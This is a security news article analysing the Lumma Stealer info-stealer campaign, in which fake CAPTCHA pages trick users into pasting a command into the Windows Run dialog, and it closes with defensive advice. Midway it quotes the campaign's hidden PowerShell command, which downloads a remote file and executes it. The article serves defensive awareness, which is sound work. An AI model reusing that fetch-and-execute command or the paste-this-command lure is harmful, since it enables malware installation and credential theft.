Since its emergence in mid-2022, Lumma Stealer has undergone a marked transformation, evolving into one of the most adaptive and elusive info-stealers on the threat landscape.
Attributed to actors from Russian-speaking regions, Lumma operates under a Malware-as-a-Service (MaaS) model, offering paying subscribers consistent updates, responsive support, and a full suite of resources—including Telegram-based communication and a public Gitbook knowledge base.
Over the past year, cybersecurity investigations have uncovered widespread deployment, with infection counts reaching well into the thousands. Lumma is engineered to harvest a range of sensitive data: saved credentials, session tokens, crypto wallet details, and personally identifiable information (PII) from compromised endpoints.
What elevates Lumma’s threat level is its refined delivery strategy. Recent iterations use social engineering tactics that mimic legitimate security features—such as phony CAPTCHA forms and spoofed download alerts—manipulating users into running malicious scripts on their machines.
These deceptive mechanisms play on user familiarity with routine web authentication, making the attack flow feel benign—until it’s too late.
In a comprehensive review of campaigns spanning late 2024 through early 2025, Sophos analysts observed a distinct uptick in Lumma’s operational complexity, particularly in how it evades security tools.
“These behavioral shifts aren’t just cosmetic—they point to a modular approach that could be repurposed across malware families,” Sophos’ Managed Detection and Response team warned in their findings.
Among the most concerning evolutions: the use of PowerShell scripting hidden behind fake CAPTCHA pages, enabling attackers to silently inject commands while maintaining the illusion of a secure environment.
Deceptive Design Masquerading as Trust
As part of this attack sequence, threat actors deploy a convincing replica of a routine CAPTCHA challenge—the kind most users recognize and trust without hesitation.
Upon visiting a compromised or malicious website, the user is shown a familiar “I’m not a robot” checkbox. The design is intentional: to lower defenses by mimicking widely accepted verification flows.
However, rather than completing a legitimate check, clicking the box triggers a seamless transition to a secondary instruction page. Here, the target is prompted to open the Windows Run dialog and execute a pre-filled command by pasting it (Ctrl+V) and pressing Enter—unknowingly initiating the payload execution process.
This method fuses social engineering with manual user interaction, turning human trust into an attack vector while bypassing many automated security defenses.
A “Security Step” That Opens the Door
What follows appears to be just another step in a routine verification process—but it’s anything but ordinary. Though the prompt may look like a simple system check, it’s a carefully crafted trap designed to exploit user compliance.
When the victim follows the instructions, they unwittingly launch a PowerShell command in stealth mode, invisible to the average user. Behind the scenes, the following is executed:
bash
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe” -W Hidden -command $uR=’hxxps://fixedzip.oss-ap-southeast5.aliyuncs.com/new-artist.txt’; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t
This script silently downloads and executes code hosted on a remote server, leveraging PowerShell’s built-in capabilities to evade visibility and bypass many endpoint defenses.
What makes this tactic especially insidious is its simplicity. There’s no exploit, no vulnerability—just social engineering that turns the user into an unwitting accomplice in their own compromise.
From Checkbox to Breach: Inside a Multi-Stage Attack
What begins as an innocent CAPTCHA challenge quickly escalates into a coordinated, multi-phase intrusion. The moment the PowerShell command is executed, it acts as the launchpad for a chain of malicious operations.
The script reaches out to attacker-controlled infrastructure to pull down secondary payloads, ultimately delivering and executing the core Lumma Stealer binary. This sequence is neither clumsy nor brute-force—it’s a streamlined process engineered for stealth and efficiency.
In one observed instance (see Figure 6), a binary named AutoIt3.exe was used to silently interrogate Chrome’s storage, extracting login credentials, cookies, and session data with alarming precision.
A key enabler of this campaign’s success is its reliance on AES-encrypted payload delivery. The encryption is more than just a smokescreen—it’s paired with randomized initialization vectors and complex decryption logic, thwarting traditional scanning and reverse engineering techniques.
This blend of believable user interaction, encrypted communications, and code obfuscation highlights how Lumma Stealer has moved beyond commodity malware into the realm of highly adaptive threat tooling.
To counter this threat, experts advise deploying behavior-based endpoint detection systems—solutions that analyze execution patterns rather than static signatures. In parallel, organizations must educate employees on red flags like CAPTCHA prompts that request command-line actions, a tactic increasingly leveraged in socially engineered intrusions.
